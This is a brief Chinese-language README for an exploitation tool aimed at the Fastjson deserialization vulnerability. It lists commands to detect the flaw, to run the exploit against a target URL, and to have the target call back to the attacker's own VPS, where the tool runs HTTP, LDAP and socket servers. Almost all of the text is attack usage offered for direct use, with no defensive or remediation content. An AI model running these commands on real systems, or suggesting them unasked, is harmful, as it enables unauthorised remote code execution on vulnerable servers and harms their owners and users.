Fastjson 反序列化漏洞快速检测和利用工具
检测: java -jar fastjson_exploit-1.0-SNAPSHOT-all.jar -u 目标url
利用: java -jar fastjson_exploit-1.0-SNAPSHOT-all.jar -e -u 目标url
vps环境: java -jar fastjson_exploit-1.0-SNAPSHOT-all.jar -e -H vps公网ip -u 目标url
详细参数: java -jar fastjson_exploit-1.0-SNAPSHOT-all.jar -h
usage: java -jar fastjson_exploit.jar [-H ip/vps_ip][-hp http_port][-lp ldap_port][-sp socket_port][-p params_name][-e/--exploit][-h/--help] -u/--url url -c,--cookie The cookie of fastjson target. -e,--exploit exploit,default is check. -h,--help print help. -H,--host The address of server(ip or domain). -hp,--http_port The port of jetty server. -lp,--ldap_port The port of ldap server. -p,--params The params of fastjson target. -u,--url The url of fastjson target.